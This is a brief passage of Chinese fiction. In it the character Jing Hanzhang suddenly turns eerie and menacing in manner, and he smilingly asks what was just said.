他懒洋洋支着下颌,如玉的手指随意绕着肩上的那绺发,漂亮的眼眸中浮现一抹极其违和的邪气,眼底的泪痣仿佛沁了血,鲜艳欲滴。 仿佛在一瞬间换了个人似的。 荆寒章勾着唇,笑着问:“你方才说了什么吗?”